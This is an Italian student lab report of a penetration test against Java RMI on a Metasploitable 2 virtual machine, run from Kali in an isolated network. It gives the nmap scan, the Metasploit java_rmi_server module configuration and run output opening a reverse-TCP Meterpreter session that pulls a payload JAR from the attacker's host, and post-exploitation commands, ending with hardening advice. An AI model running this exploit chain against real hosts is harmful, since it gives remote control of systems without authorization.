

Report progetto Test di Penetrazione e Exploitation JAVA RMI

1. Analisi dello Scenario e Setup Rete

L'obiettivo del progetto è testare la sicurezza di un server che espone il servizio **Java RMI** (Remote Method Invocation). Per l'esercitazione, ho configurato un laboratorio composto da una macchina attaccante (Kali Linux) e una vittima (Metasploitable 2).

1.1 Configurazione Interfacce e Risoluzione Problemi

Per rispettare i requisiti della traccia, ho configurato manualmente gli indirizzi IP in una sottorete isolata. Innanzitutto, ho impostato entrambe le macchine in **Rete Interna** per garantire un ambiente di laboratorio **sicuro e isolato**, evitando che il traffico dei test interferisse con la rete locale reale. L'aggiunta del parametro **“up”** ha assicurato l'immediata attivazione dell'interfaccia dopo l'assegnazione dell'IP.

```
(kali@kali)-[~/Desktop]
$ ifconfig
docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
    inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
    ether 02:42:6f:a5:12:cc txqueuelen 0 (Ethernet)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 0.0.0.0
    inet6 fe80::19c5:22dc:9cab:5b47 prefixlen 64 scopeid 0<20<link>
    ether 08:00:27:63:b0:05 txqueuelen 1000 (Ethernet)
    RX packets 38 bytes 6054 (5.9 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 46 bytes 4622 (4.5 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0<10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 8 bytes 480 (480.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 8 bytes 480 (480.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Comando eseguito per cambiare ip su kali: **sudo ifconfig eth0 192.168.11.111 netmask 255.255.255.0 up**

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet HWaddr 08:00:27:88:df:dc
          inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0
          inet6 addr: fd17:625c:f037:2:a00:27ff:fe88:dfdc/64 Scope:Global
          inet6 addr: fe80::a00:27ff:fe88:dfdc/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:368 errors:0 dropped:0 overruns:0 frame:0
          TX packets:330 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:154381 (150.7 KB) TX bytes:43128 (42.1 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING MTU:16436 Metric:1
          RX packets:555 errors:0 dropped:0 overruns:0 frame:0
          TX packets:555 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:246349 (240.5 KB) TX bytes:246349 (240.5 KB)

msfadmin@metasploitable:~$
```

Comando eseguito per cambiare ip su metasploitable: **sudo ifconfig eth0 192.168.11.112 netmask 255.255.255.0 up**

1.2 Verifica della Connettività

Ho controllato la connettività tramite il test “**ping**”, assicurandomi che il tunnel tra le due macchine in “**Rete Interna**” fosse stabile prima di procedere.

```
(kali@kali)-[~/Desktop]
$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=2.64 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=3.97 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=2.49 ms
^C
--- 192.168.11.112 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 2.493/3.032/3.969/0.664 ms
```

Risultato test ping 192.168.11.112

```
msfadmin@metasploitable:~$ ping 192.168.11.111
PING 192.168.11.111 (192.168.11.111) 56(84) bytes of data.
64 bytes from 192.168.11.111: icmp_seq=1 ttl=64 time=3.12 ms
64 bytes from 192.168.11.111: icmp_seq=2 ttl=64 time=3.12 ms
64 bytes from 192.168.11.111: icmp_seq=3 ttl=64 time=1.61 ms

--- 192.168.11.111 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2010ms
rtt min/avg/max/mdev = 1.613/2.622/3.129/0.714 ms
```

Risultato test ping 192.168.11.111 (inverso)

2. Information Gathering

Prima di procedere all’attacco, ho eseguito una scansione mirata per identificare il servizio sulla porta 1099.

2.1 Scansione Nmap Avanzata

Utilizzando il comando “**nmap -p 1099 -sV 192.168.11.112**” ho ottenuto lo stato della porta, 1099/tcp open java-rmi.

```
(kali@kali)-[~/Desktop]
$ nmap -p 1099 -sV 192.168.11.112
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-17 07:27 EDT
Nmap scan report for 192.168.11.112
Host is up (0.0016s latency).

PORT      STATE SERVICE VERSION
1099/tcp  open  java-rmi GNU Classpath grmiregistry
MAC Address: 08:00:27:88:DF:DC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.47 seconds
```

3. Fase di Exploitation

Per la fase di attacco è stato utilizzato il framework **Metasploit**.

3.1 Avvio e Ricerca del modulo

Dopo aver avviato il strumento d'attacco con il comando “msfconsole”, ho eseguito una ricerca interna per individuare il modulo più affidabile (suggerito dalla traccia).

```
msf > search exploit java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank      Check  De
-  -                                     -              -        -      -
0  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes     Ja
1  \_ target: Generic (Java Payload)         .               .         .       .
2  \_ target: Windows x86 (Native Payload)   .               .         .       .
3  \_ target: Linux x86 (Native Payload)     .               .         .       .
4  \_ target: Mac OS X PPC (Native Payload)  .               .         .       .
5  \_ target: Mac OS X x86 (Native Payload)  .               .         .       .
6  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No      Ja
```

3.2 Selezione e Configurazione Modulo

Ho selezionato il modulo e l’ho avviato con il comando

“use exploit/multi/misc/java_rmi_server”.

Dopo l’avvio del modulo ho visualizzato i parametri di default per verificare lo stato del modulo.

```
msf > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
--      -
HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payloa
RHOSTS    yes             yes       The target host(s), see https://docs.metasploit.co
RPORT     1099            yes       The target port (TCP)
SRVHOST   0.0.0.0         yes       The local host or network interface to listen on.
SRVPORT   8080            yes       The local port to listen on.
SSL       false           no        Negotiate SSL for incoming connections
SSLCert   no              no        Path to a custom SSL certificate (default is rand
URIPATH   no              no        The URI to use for this exploit (default is random

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
--  -
0   Generic (Java Payload)
```

Dopo aver visto che alcuni parametri necessari erano già presenti di default, ho dovuto solo configurare il parametro RHOSTS con l'ip della vittima. **Comando: set RHOSTS + 192.168.11.112**

```
msf exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                         |
|-----------|-----------------|----------|-----------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload |
| RHOSTS    | 192.168.11.112  | yes      | The target host(s), see https://docs.metasploit.co  |
| RPORT     | 1099            | yes      | The target port (TCP)                               |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on.   |
| SRVPORT   | 8080            | yes      | The local port to listen on.                        |
| SSL       | false           | no       | Negotiate SSL for incoming connections              |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is rand   |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random  |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |


```

3.3 Esecuzione dell'Exploit

Al lancio del comando “exploit”, il sistema ha avviato un handler http e inviato il payload JAR. Il server ha risposto positivamente, nonostante l'HTTPDELAY fosse impostato su 10, permettendo di aprire una sessione Meterpreter remota.

```
msf exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/2DSxrG
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:41462) at 2026-04-1
```

4. Post-Exploitation

Dopo aver stabilito con successo la sessione Meterpreter, la prima cosa che ho fatto è stata quella di confermare di essere nel posto giusto e analizzare come la macchina **vittima** vede la rete. Per essere sicuro di aver colpito il bersaglio corretto, ho lanciato comando “**ipconfig**”. Questo comando mi ha permesso di verificare che la sessione aperta fosse effettivamente attestata sull'indirizzo **IP 192.168.11.112**, come previsto dalla traccia.

```
meterpreter > ipconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fd17:625c:f037:2:a00:27ff:fe88:dfdc
IPv6 Netmask : ::
IPv6 Address : fe80::a00:27ff:fe88:dfdc
IPv6 Netmask : ::
```

Per completare l'analisi, ho interrogato il sistema sulla sua tabella di routing tramite il comando **"route"**. Questo comando mi ha permesso di documentare come la macchina gestisce i flussi di traffico e di avere una visibilità completa sulla topologia di rete del bersaglio.

```
meterpreter > route

IPv4 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0      0            eth0
192.168.11.112 255.255.255.0 0.0.0.0      0            eth0

IPv6 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::           0            eth0
fd17:625c:f037:2:a00:27ff:fe88:dfdc ::           ::           0            eth0
fe80::a00:27ff:fe88:dfdc ::           ::           0            eth0
```

5. Considerazioni finali

L'attacco che ho eseguito ha avuto successo perché il servizio **Java RMI**, di default, si fida di tutto ciò che riceve. Questo mi ha permesso di inviare un comando **"maligno"** e prendere il controllo della macchina.

Per evitare che un vero attaccante faccia la stessa cosa, bisogna:

- **Chiudere le porte inutilizzate:** La porta **1099** non dovrebbe essere visibile a tutti. Bisogna usare un firewall per permettere l'accesso solo ai computer autorizzati.
- **Aggiornare Java:** Le versioni più recenti di java hanno delle protezioni interne che riconoscono e bloccano i comandi pericolosi prima che possano fare danni.
- **Usare password e protezione:** Non bisogna lasciare il servizio **aperto** a chiunque. È fondamentale richiedere un'autenticazione **login** e criptare la comunicazione.

In poche, questo test dimostra che lasciare un servizio attivo con le impostazioni originali è un grande rischio. La sicurezza parte sempre da una buona configurazione di base.